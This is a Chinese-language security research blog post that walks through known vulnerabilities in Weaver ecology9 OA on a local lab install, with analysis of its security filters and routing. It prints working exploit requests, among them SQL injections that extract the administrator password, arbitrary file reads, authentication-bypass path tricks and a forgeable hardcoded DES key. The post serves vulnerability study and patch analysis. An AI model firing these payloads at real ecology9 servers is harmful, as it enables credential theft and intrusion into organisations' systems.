泛微e9分析思路
1diot9 Lv5

前言

本文基于9.00.210804 v10.42版本分析

泛微ecology9(以下简称e9)的安全补丁生效逻辑较为复杂,在多处进行了过滤,导致一开始分析复现漏洞时,很容易出现“为什么这个URL这么写就能绕过了?”的问题。

此外,e9的漏洞路由也有几类,每一类的鉴权与过滤又稍有不同,导致对于新手来说,更加迷糊了。

所以本文的目标,是从我自己的视角,记录一下当时是如何从一脸茫然,到若有所思的过程,希望让读者能够触类旁通,掌握e9漏洞的分析方法。

本人对e9的分析积淀并不多,故文章中难免出现谬误,希望各位师傅理解。

环境搭建

版本信息如下:

img

img

安装包依旧是从某鱼上收,搭建的背景是Windows11+mysql8.0.20,e9也支持其他类型的数据库,可以自行选择。一般会给安装手册,跟着做就行。

mysql最好选择8.0.20,因为之前直接用phpstudy自带的8.0.12时,似乎数据库初始化会失败。

另外,一定记得修改my.ini(安装手册里写了):

img

数据库初始化很久,中间可能卡在某个进度(我这儿是67%左右),耐心等一等,半个多小时应该就好了。

证书激活相关的,收到的链接里应该会给。

安装好的结构大致如下:

img

ecology为主目录,存放项目源码。

JDK是自己选择的JDK路径。

Resin是中间件目录,里面存放了启动脚本。

默认安装会在windows服务中自动添加resin服务:

img

初始状态是“自动”,建议改成手动,自己去Resin目录启动,这样能看到控制台输出。

添加一下远程调试参数:

\Resin\conf\resin.properties

img

启动脚本为:\Resin\resinstart.bat

双击启动后,出现以下内容就是启动好了:
img

访问http://ip:port后,如果跳出数据库初始页面,就是安装好了。

其他问题:

img

接下来建idea(我这里2025.3.1版本)

直接用idea打开ecology目录。等待项目索引完成。

然后按住ctrl,依次单击以下目录:

img

全部选中后右击,在弹出框里选择添加到库。这里一定要这么添加,直接到项目结构里去加就不行,会导致分析不到jar,很奇怪就。

其他的一些依赖目录就可以直接去项目结构里添加了,如下:

img

img

img

搞完后,到com.caucho.server.http.HttpRequest#handleRequest上打个断点能断下来,远程调试就没问题了。

另外,weaver.security.filter.SecurityMain#process方法有时候会反编译失败,这里建议去idea64.exe.vmoptions增加idea的内存,然后把所有打开的类都关掉,重启idea,最先打开SecurityMain去反编译一下。

环境搭建大概就是这些东西。

分析前置工作

我分析新系统时,一般会把网上能找到的文章都列出来,并都快速浏览一遍,对整体建立起一个初步印象。

当时收集到的文章已经全部放到末尾的“附录”和“参考”。

其中最重要的是 https://github.com/ax1sX/SecurityList/blob/main/Java_OA/EcologyAudit.md

里面有前人整理好的审计文档。

从里面知道了泛微的路由特点:

/weaver/*

/*.jsp

/services/*

/api/*

/*.do

后面分析时,自己又加了一个:/dwr/*

主要过滤类(SecurityFilter、SecurityMain)和安全策略文件(WEB-INF/myclasses/weaver/security/rules/ruleImp,WEB-INF/securityRule)

安全策略生效特征:

img

历史补丁URL:

img

当然,除了网上的文章,web.xml这种经典配置文件也是需要过一遍的。

测绘指纹

Fofa:app=”泛微-协同商务系统”

hunter:app.name==”泛微 e-cology 9.0 OA”

X社区:app=”泛微-E-cology”

FileDownloadLocation文件读取

漏洞分析

为什么第一个选这个漏洞?因为https://github.com/R4gd0ll/I-Wanna-Get-All里扫出来了,而且文件读取比较容易验证。

img

设置一下代理,抓包看一下poc:

img

1
2
3
4
5
6
7
8
GET /weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp/x.FileDownloadLocation?ddcode=7ea7ef3c41d67297&downfiletype=eml&download=1&mailId=1123+union+select+*+from+(select+1+as+resourceid,'../ecology/WEB-INF/prop/mobilemode.properties'+as+x2,'3'+as+x3,(select++*+from+(select+*+from+(select+password+from+HrmResourceManager+where+id=1)x)x)+as+x4,5+as+x5,6+as+x6)x+where+1=1&mailid=action.WorkflowFnaEffectNew&parentid=0 HTTP/1.1
Host: 127.0.0.1:8060
Content-Type: charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Accept: */*

能够看到,是/weaver/*类接口。所以后面的weaver.email.FileDownloadLocation直接对应利用类。

/login/LoginSSOxjsp/x.FileDownloadLocation会对应到weaver.email.FileDownloadLocation这个servlet里的路径,一般不会参与方法调用:

img

../ecology/WEB-INF/prop/mobilemode.properties明显对应的文件路径,另外还执行了select+password+from+HrmResourceManager+where+id=1,这个在数据库中对应的是管理员密码:

img

能发现对应的password在响应头content-disposition的filename里出现了。

ok,现在直接去weaver.email.FileDownloadLocation打断点,只看这个漏洞的原因,不去关注前面的doFilter:

img

这里的ddcode参数会经过DES解密,把_前面的数字提取出来,作为User的Id。这里var3必须有值,不然会重定向到登录页面,所以这里让var23为1,因为User(1)对应的是管理员,一定存在。DesUtils里的密钥是硬编码的,因此可以自行构造:

img

img

接着往下,跟进downloadEml:

img

img

执行的sql语句最后为:

1
select haseml, emlpath, emlName, subject, folderid, id from MailResource where id = 1123 union select * from (select 1 as resourceid,'../ecology/WEB-INF/prop/mobilemode.properties' as x2,'3' as x3,(select  * from (select * from (select password from HrmResourceManager where id=1)x)x) as x4,5 as x5,6 as x6)x where 1=1 and ((resourceid in (1)))

img

这里让emlpath和../ecology/WEB-INF/prop/mobilemode.properties对应,

subject和(select * from (select * from (select password from HrmResourceManager where id=1)x)x)对应

subject会通过setFilename设置,emlpath会通过setFilerealpath设置,然后跟进singleDownload:

img

这里变量乱了,不过能看出来是把subject设置到请求头,然后根据emlpath读文件,并写入请求体。这就是这个漏洞的原理。

SQL变形分析

URL中为什么要有/login/LoginSSOxjsp/x.FileDownloadLocation?知道大概率是用来绕过的,但是为什么这样能绕过?

我先把这一段去掉了,只留下/weaver/weaver.email.FileDownloadLocation,发起请求,发现到不了doGet,重定向到login了:

img

/weaver/weaver.email.FileDownloadLocation/logi,重定向到login了。

/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp,能够正常利用。

/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjs,能够到doGet,但是发现传入的sql语句变形了:

img

img

/weaver/weaver.email.FileDownloadLocation/login,跟上面的情况一样,能doGet,但sql变形。

/weaver/weaver.email.FileDownloadLocation/LoginSSOxjsp,同上。

通过上面的一系列灰盒测试,能够知道,上面的URL有两个作用,一是绕过登录,二是防止sql变形。

不过,上面所有的响应中,都没有出现errorMsg: securityIntercept,说明安全策略并没有生效,而是其他的代码导致了利用失败。

我的思路是,从doGet往前找,通过var1.getParameter(“mailId”),观察哪里的sql最先变形。

发现weaver.security.webcontainer.XssRequestForWeblogic#doFilter里的还正常,但是到下一个filter就变形了:

img

但是中间没看到任何处理sql语句的代码,到底是怎么回事?但现在已经排除了其他可能性了,问题一定在weaver.security.webcontainer.XssRequestForWeblogic#doFilter,所以又仔细看了一下:

img

img

发现chain.doFilter时,传入的req竟然发生了变化,得好好看看这个weaver.security.webcontainer.XssRequestWeblogic:

img

能够发现,getParameter通过if去判断了是否需要用htmlFilter进行过滤。一开始都没关注这个XssRequestWeblogic,想当然以为是处理Xss和Weblogic的,跟sql能有什么关系。

到这里其实思路就很明晰了,前面的/login/LoginSSOxjsp,大概率是用来阻止进入过滤的。

跟进weaver.security.core.SecurityCore#isXssFilter看一下:

img

这里会遍历xssList里的接口,与实际访问的path进行matches,match到就put进xssPathMap,然后返回result(默认是false)。返回false时,就不会进行过滤。

xssList里有/login/LoginSSO.jsp,而 . 在matches里被当作任意字符,所以可以通过/login/LoginSSOxjsp去匹配成功,从而绕过过滤。

如果不满足,就会进行HTMLFilter进行过滤:

在这里会对union select等危险字符进行全角化处理。

img

img

所有规则:

img

ok,到这里就知道为什么sql会变形了,也知道了泛微e9会对所有通过getParameter取出的参数都进行过滤。

对了,为什么不直接写/login/LoginSSO.jsp?

img

.jsp是会被安全规则拦截的,具体为什么,后面再分析。

登录绕过分析

上面分析了为什么能实现sql绕过,但是还有个登录重定向为什么能绕过没分析。

请求/weaver/weaver.email.FileDownloadLocation

我这里的思路是尽可能在后面打断点,看最终会在哪里跳出。

我们知道主要的安全逻辑在weaver.security.filter.SecurityMain#process,而下一个调用栈是weaver.security.webcontainer.XssRequestForWeblogic#doFilter,所以在这两个方法断点。

发现能断到SecurityMain,但是XssRequestForWeblogic不行,所以确定到登录逻辑在process方法。

最终确定到:

img

再请求/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp:

img

发现isLogin变化,去找isLogin的赋值代码:

img

跟进isLogin:

img

第一种,可以在这个if时不进入,就直接返回true了。

isLoginCheck控制不了:

img

isCheckCookieIpUrl:

img

img

img

1
(\.gif|\.jpg|\.jpeg|\.png|\.js|\.css|\.html|\.htm|\.swf|\.cur|\.flv|\.avi|\.wma|\.wmv|\.mp3|\.mp4|\.3gp|\.zip|\.rar|\.rtf|\.doc|\.ico|\.exe|\.msi|\.xml|\.map)$

所以只要URL出现这些字段,就可以直接返回true。

这里直接试试.js吧,目标是只要进到doGet就成功:

img

然而,被安全策略拦截了。

还是一样的调试策略,一直打断点,直到断不下来,通过二分去快速定位到是在哪里跳出的,定位到:

img

能发现,如果这里判断是静态文件(path结尾为.jsp等),且路径中以/api/开头,或有messageservlet,或有/weaver/,或有weaver. 都会导致进入errorRedirect。这其实不算严格意思上的安全策略,只是单独做了一个全局的判断。这也回答了上一节最后的问题,因为jsp也在列表中(真的是这个原因吗?)。

但是,process方法里的静态文件列表,和刚刚看的isLogin里的是有区别的,比如.mp4,就不存在于process里,但存在于isLogin里,所以可以通过.mp4访问到doGet:

img

上面讲的只是isLogin中的一种绕过。而原poc是在这里绕过的:

img

只要path里有login,就返回true。

其他的方法可以问AI,或者遇到在看:

img

安全策略生效点一

不过这里其实还有一个问题,为什么/weaver/weaver.email.FileDownloadLocation/login/LoginSSO.jsp/111不行?按照上面的分析,process里的静态文件判定只看路径末尾是不是.jsp之类的,再加一个理论上应该能通过,进而访问到doGet才对,然而实际情况不是这样的:

img

依旧被安全策略拦截,而且断点没到静态文件判断那里。

所以肯定是在process的更前面被拦截了。最终发现是在这里:

img

img

这里前面会做一些固定规则的校验,在weaver.security.rules.ruleImp.SecurityRuleFileAlaPoc#validate会拦截上面的请求:

img

img

这里如果.jsp后面还有/,就会拦截。这就是为什么.jsp/111到不了doGet的原因。

小结

1、XssRequestWeblogic会通过getParameter对参数做全局过滤

2、isLogin方法得绕过返回true

3、this.executeCustomRules会生效部分安全策略

4、/weaver/* 的路由逻辑

XmlRpcServlet文件读取

漏洞分析

https://blog.csdn.net/qq_36618918/article/details/135104295

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/xml
Accept-Encoding: gzip
Content-Length: 218
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>WorkflowService.getAttachment</methodName>
<params>
<param>
<value><string>c://windows/win.ini</string></value>
</param>
</params>
</methodCall>

也是一个/weaver路由的漏洞,但是已经修复了,看看怎么修复的。

能发现是从这里跳出的:

img

img

这里的165,实际对应的就是\WEB-INF\myclasses\weaver\security\rules\ruleImp里的165个.class文件:

img

我们知道最后肯定返回false,所以直接在下面打断点:

img

再返回去看是哪条规则:

img

img

weaver.security.rules.ruleImp.SecurityRuleHttpServlet#validate会判断调用的类是否是weaver包里的,不是就判断为攻击。所以所有第三方包里的servlet类都用不了了。

process里的sc.executeCustomRules,实际上就是第二个安全策略生效点。

安全策略生效点主要就是上面讲的那两个。

小结

1、process方法里的sc.executeCustomRules为第二处安全策略生效点,会遍历\WEB-INF\myclasses\weaver\security\rules\ruleImp里的所有类的validate方法。

/api/doc/out/more/list SQL注入

从这个漏洞来看一下/api/*接口的路由逻辑。

/api/*系列接口,\WEB-INF\Api.xls里有接口和类方法的对应表,但是并不完整。比如这个漏洞的接口就没有,所以还是需要自己把\classbean\com去jadx反编译,然后搜索。

其实我一开始并没有去看/api接口的鉴权类,直到复现其他api接口的漏洞,发现无法触发方法时,才想到去web.xml里看是不是有api接口专属的filter做鉴权。

漏洞复现

1
2
3
4
5
6
7
GET /api/doc/out/more/list?isNew=1&elementmore=%7B%22srcType%22%3A%20%222%22%2C%20%22srcContent%22%3A%20%22%2A%2F%3D%28%28-1%22%2C%20%22perpage%22%3A%20%2210%22%7D&docarchivedatefrom=a%27OR-1%2F%2Aa&doccreatedatefrom=%2A%2F%3D%28%2F%2Aa&doclastmoddatefrom=%2A%2FSELECT-3%2Blocate%2F%2A&docarchivedateto=%2A%2F%28hex%28SUBSTRING%28%2F%2A&doccreatedateto=%2A%2Floginid%2C1%2C1%29%29%2C%27073%27%29%20%2F%2A&doclastmoddateto=%2A%2Ffrom%20HrmResourceManager%20limit%200%2C1%29%20OR-1%2F%2A HTTP/1.1
Host: 127.0.0.1:8060
Accept: */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Pragma: no-cache

记录返回包中的sessionKey:

img

带着sessionKey再去发包,响应中的count大于0即盲注成功。

1
2
3
4
5
6
7
8
9
10
POST /api/ec/dev/table/counts HTTP/1.1
Host: 127.0.0.1:8060
Accept: */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded

dataKey=628a12ff-5528-46d7-9092-0deee8460e88_6FEEFE091B16AD0A942D78E12C136D76

img

要注入下一个字符或注入的字段,改doccreatedateto参数

doccreatedateto=/loginid,1,1)),’073’) /

要改注入的表,改doclastmoddateto参数

doclastmoddateto=/from HrmResourceManager limit 0,1) OR-1/

漏洞分析

漏洞整体流程比较复杂,只简单讲一下。

com.api.doc.search.web.DocOutMoreAction#getDataList:

img

DocListUtil会对传入的各个参数进行提取并拼接成sqlwhere,getMoreList会进一步拼接sql语句,最终产生一个xml模板,并与sessionKey关联。

这里会形成好sql语句。接下来是找地方触发,就是第二个请求包。

这里直接贴出最后执行的语句:

1
select count(*) from (select  t1.id,t1.id docstatus_id,t1.seccategory,t1.docvestin,t1.doclastmoddate,t1.doclastmodtime,t1.docsubject,t1.docextendname,t1.doccreaterid,t1.secretLevel,t1.usertype,t1.ownerid,t1.docstatus,t1.doccreatedate,t1.doccreatetime,t1.accessorycount,t1.replaydoccount,t1.sumDownload,t1.sumReadCount,t1.sumMark,t1.docpubdate,t1.docpubtime,t1.docapprovedate,t1.docapprovetime  from DocDetail t1  where docarchivedate>='a'OR-1/*a' and doccreatedate >= '*/=(/*a'  and doclastmoddate >= '*/SELECT-3+locate/*'  and docarchivedate<='*/(hex(SUBSTRING(/*' and doccreatedate <= '*/loginid,1,1)),'073') /*' and doclastmoddate <= '*/from HrmResourceManager limit 0,1) OR-1/*' and t1.docstatus in(1,2,5)  and (t1.ishistory is null or t1.ishistory = 0) and (t1.isreply is null or t1.isreply='' or t1.isreply='0') and (t1.seccategory in (*/=((-1)) and t1.docpublishtype='2'  ) `list`

img

这里能看出就是通过or去做一个布尔盲注,当loginid字段的第一个字符的hex为0x73时,or后面条件成立,就能正常返回数据,count就是大于零的。

具体比较复杂,自己也没看太懂,大家可以自行分析。

SessionFilter

看一下web.xml:

img

com.cloudstore.dev.api.service.SessionFilter会拦截所有/api/*

img

img

在未登录的情况下,主要根据checkUrl、uncheckUrl、uncheckSessionUrl进行判断。

这三个变量的初始化:

img

img

img

注意,这里weaver.general.BaseBean#getPropValue,都是从WEB-INF/prop下直接取对应文件。

所以,只有uncheck系列的接口是前台攻击面。

小结

1、/api/*需要注意SessionFilter,放行白名单在/prop配置文件中

2、/api/*对应的class在/classbean/com中,WEB-INF/Api.xls中有部分的对应关系

/services/WorkPlanService SQL注入

这是一个/services接口的漏洞。

这里需要先行了解一下WSDL和SOAP的知识,可以看:

https://mp.weixin.qq.com/s/l4BH7B7pHl1HIi4vJYeOUQ

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /services/WorkPlanService HTTP/1.1
Host: 127.0.0.1:8060
Accept: */*
Content-Type: text/xml;charset=UTF-8
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Pragma: no-cache
Content-Length: 436

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:deleteWorkPlan>
<!--type: string-->
<web:in0>(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)</web:in0>
<!--type: int-->
<web:in1>22</web:in1>
</web:deleteWorkPlan>
</soapenv:Body>
</soapenv:Envelope>

这里推荐用yakit,bp发包我遇到了问题:

img

这里漏洞比较简单,对应weaver.WorkPlan.webservices.WorkplanServiceImpl#deleteWorkPlan,就不分析了。

webservice接口分析

说在开头,webservice服务默认情况下只能内网访问:

img

默认是开启安全验证的,而且不会配置白名单。

可以通过/services?wsdl直接列出所有的可用服务:

img

也可以去\classbean\META-INF\xfire\services.xml里看。

services相关接口主要受安全策略影响,具体情况具体分析即可。

小结

1、/services接口的服务类,在\classbean\META-INF\xfire\services.xml中查看

2、/services接口默认只能内网访问

/dwr/call/plaincall/ 前台绕过

这个漏洞的全利用过程很复杂,大家可以直接看前人的文章:

https://xz.aliyun.com/news/18849

这里只选择第一步分析,主要目标是看/dwr/*这类接口的路由逻辑。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /dwr/call/plaincall/WorkflowSubwfSetUtil.LoadTemplateProp.dwr HTTP/1.1
Host: 127.0.0.1:8060
Accept: */*
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/plain
Content-Length: 148

batchId=a
c0-id=1
c0-methodName=LoadTemplateProp
c0-param0=string:mobilemode
c0-scriptName=WorkflowSubwfSetUtil
callCount=1
scriptSessionId=1
page=/cpt/xxx.jsp

img

这里的重点是,Content-Type: text/plain。

c0-scriptName=WorkflowSubwfSetUtil为要调用的类,c0-methodName=LoadTemplateProp为调用的方法,c0-param0=string:mobilemode为参数。

所以这个包的作用就是调用WorkflowSubwfSetUtil#LoadTemplateProp,实则调用父类的LoadTemplateProp方法。

/dwr/*路由逻辑分析

这里的思路是直接在WorkflowSubwfSetUtil#LoadTemplateProp,然后往前看调用栈。

img

看到DwrServlet处理,就想到应该是web.xml里配的规则:

img

继续往后看调用栈:

img

img

calls里已经解析出对应的method了,所以应该去看前面marshaller的部分,这样才能知道能够调用哪些方法。

不过在这儿之前,先问问AI dwr是什么。

DWR 是 Direct Web Remoting 的缩写,是一个 Java Web 框架/组件,主要作用是:

让浏览器端的 JavaScript 可以像调用本地 JS 函数一样,直接调用服务器端的 Java 方法。

这个功能很熟悉,就是调用特定类的特定方法,很多漏洞都是因此产生的。

再简单看一下请求体里的各个参数:

img

img

回到代码,跟进org.directwebremoting.dwrp.BaseCallMarshaller#marshallInbound:

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
weaver.docs.docs.DocCheckInOutUtil
weaver.docs.docs.DocDwrUtil
weaver.cpt.util.CptDwrUtil
weaver.fna.budget.BudgetHandler
weaver.docs.DocDetailLog
weaver.docs.category.DocTreeDocFieldUtil
weaver.workflow.workflow.WorkflowSubwfSetUtil
weaver.workflow.msg.MsgUtil
weaver.dwr.HrmUtil
weaver.proj.Maint.ProjTaskUtil
weaver.docs.senddoc.DocReceiveUnitUtil
weaver.dwr.Validator
weaver.docs.docs.DocReadTagUtil

这些类的方法都可以调用,都是潜在攻击面。(然而稍微新一点的版本里的SQL注入点全没了,而且大部分需要携带有效session才能真正调用)

不过拿到方法后,还会做校验:

img

最好自己跟进看一下,会清楚很多。

总结一下部分规则。

只有public方法可调用。

有些类只能调用特定方法:

img

类和方法参数类型不能以org.directwebremoting.开头:

img

小结

1、/dwr/*能够调用的类方法有哪些(dwr路由逻辑)

browser.jsp SQL注入

这类漏洞都是直接访问jsp,要过滤的话基本都是在class安全策略里。具体漏洞具体分析,这里以browser.jsp SQL注入漏洞为例。

漏洞复现

1
2
3
4
5
6
7
8
GET /mobile/%20/plugin/browser.jsp?isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%38%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%35%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%38%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%30%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%38%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%34%25%32%35%25%33%35%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%34%25%36%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%36%25%36%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%35%25%36%36%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%33 HTTP/1.1
Host: 127.0.0.1:8060
Accept: */*
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept-Language: zh-CN,zh;q=0.9
Content-Type: charset=UTF-8

axa%’ union select 1,(select password from HrmResourceManager where id=1))my_table)r#

最终执行的语句:

1
select r.* from (select my_table.*  from (select  distinct t1.id as id,t1.name as name  from  meeting_remind_type t1  where isuse=1  and t1.name like '%axa%' union select 1,(select password from HrmResourceManager where id=1))my_table)r# '%' order by t1.id desc) my_table  limit 0,10) r 

三次URL编码

中间件自动一次。

jsp里一次:

img

java方法中一次:

img

漏洞分析

browser.jsp:

img

img

isDir必须是1,不然会请求转发到/mobile/plugin/dialog.jsp

keyword和browserTypeId都会设置到BrowserAction,最终调用weaver.mobile.webservices.common.BrowserAction#getBrowserData:

img

browserTypeId=269是为了进入对应的if,这个if执行的方法,返回的数据内容最为完整,跟进:

img

很多文章说sql注入点在上面的var1.executeSql(var2); 但我感觉不太对,因为虽然能够实现延时注入,但并不能直接回显执行结果。真正的注入点应该继续跟进下面的getLimitPageData:

img

最终是在这里执行并取结果:

weaver.general.SplitPageUtil#getCurrentPageRs(int, int)

img

绕过分析

URL中的%20为什么能绕过?

有两个原因:

1、resin能自动忽略%20

2、安全策略中没有对%20进行拦截

先看resin为什么能自己忽略%20,这里我们不去看resin处理path的具体逻辑,而是通过调试执行表达式快速判断:

img

可以看到getRequestURI的结果是带有%20,而getServletPath的结果没有%20,resin真正接受到的是getServletPath,故会自动忽略掉%20

再看%20为什么能绕过安全策略,这里不加%20,能发现会在weaver.security.rules.ruleImp.SecurityRuleMobile29被拦截:

img

path处理后变成/mobile//plugin/browser.jsp,不会匹配上mobile-need-login-urls,直接放行。同时其他的安全规则也没有拦截//的,所以能够绕过。

小结

.jsp类的路径,一般会通过安全规则过滤,所以得具体情况具体分析了,没有太多通用思路。

*.do

这类路由暂时没遇到过。

SecurityMain

再回头来总结一下SecurityMain里的要点。

安全过滤的主要类,其process方法会在SecrityFilter被反射调用:

img

实际安全逻辑在SecurityMain#process,里面有两个executeCustomRules方法,会调用安全规则过滤,一个是this.executeCustomRules,还有一个是SecurityCore.executeCustomRules:

img

img

this里的会先遍历固定的几个安全规则,然后对URL路径校验:

img

img

SecurityCore会遍历所有RuleClass的validate方法:

img

RuleClass位于WEB-INF\myclasses\weaver\security\rules\ruleImp

之后还有一个isLogin,判断当前访问路径是否能在未登录的情况下访问:

img

不展开了,可以直接问AI,或具体情况具体分析。

1day分析思路

从官网下载最新的增量补丁,看\WEB-INF\myclasses\weaver\security\rules\ruleImp里新增了哪些类就行。或者对比最近的两个全量补丁。新增类中大概率会有漏洞路径。

总结

这里知道了:

1、weaver.security.webcontainer.XssRequestWeblogic会通过getParameter等对GET或POST参数进行过滤

2、SecurityMain:两个executeCustomRules会生效安全策略;isLogin方法得绕过返回true

3、/weaver/* 的路由逻辑

4、/api/*的路由逻辑

5、/services/*的路由逻辑

6、/dwr/*的路由逻辑

还有一些比较经典的漏洞没有分析,都放在参考文章里了,经过上面的学习,大家可以尝试自行分析。

附录

https://e-cloudstore.com/doc.html?appId=84e77d7890a14c439590b37707251859 Jersey接口(/api/*)

https://e-cloudstore.com/ec/api/applist/index.html#/ 后端接口文档

https://e-cloudstore.com/e9/file/E9BackendDdevelopmentGuide.pdf

https://www.weaver.com.cn/cs/securityDownload.html?src=cn 安全补丁

https://web.archive.org/web/20230511234043/https://www.weaver.com.cn/cs/securityDownload.html# 安全补丁老页面

https://e-cloudstore.com/e9/index3.html 开放文档

https://www.weaver.com.cn/cs/security/edm20250704_opiurutjvmopimdwytdc.html 安全邮件

参考

https://github.com/ax1sX/SecurityList/blob/main/Java_OA/EcologyAudit.md 整体梳理

https://github.com/eeeeeeeeee-code/POC 各种POC

https://y4tacker.github.io/2025/07/09/year/2025/07/%E5%A6%82%E4%BD%95%E4%BB%8E%E7%81%B0%E7%9B%92%E8%A7%92%E5%BA%A6%E5%BF%AB%E9%80%9F%E5%A4%8D%E7%8E%B0Weaver-SQL%E6%B3%A8%E5%85%A5/ 方法论+/api/doc/out/more/list SQL注入

https://mp.weixin.qq.com/s/2BVjH31Zy6re8a4cB8p3JA 历史RCE

https://mp.weixin.qq.com/s/Ici5AObKdigpKjL1kMVN8w JDBC

https://jeva.cc/2872.html uploaderOperate.jsp+OfficeServer文件上传

https://jeva.cc/2818.html /api/cpt/inventory/docptimpoptinventory 文件上传

https://blog.csdn.net/qq_36618918/article/details/135104295 XmlRpcServlet文件读取

https://0xf4n9x.github.io/weaver-ecology9-changeuserinfo-ofslogin.html changeUserInfo信息泄漏及ofsLogin任意用户登录

https://xz.aliyun.com/news/90940 后台JDBC RCE

https://xz.aliyun.com/news/15082 browser.jsp 鉴权绕过+SQL注入

https://xz.aliyun.com/news/14839 鉴权绕过+后台JDBC RCE e10的

https://xz.aliyun.com/news/18849 /dwr/call/plaincall鉴权绕过+RCE

https://xz.aliyun.com/news/14777 WorkPlanService SQL注入

https://xz.aliyun.com/news/12974 bsh+xstream老漏洞+resin内存马

https://xz.aliyun.com/news/11393 getInterfaceRegisterCustomOperation后台RCE

https://xz.aliyun.com/news/8016 https://xz.aliyun.com/news/6135 /mobile/WorkflowCenterTreeData.jsp + /mobile/plugin/SyncUserInfo.jsp SQL注入 19年的了很老

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 190k 访客数 访问量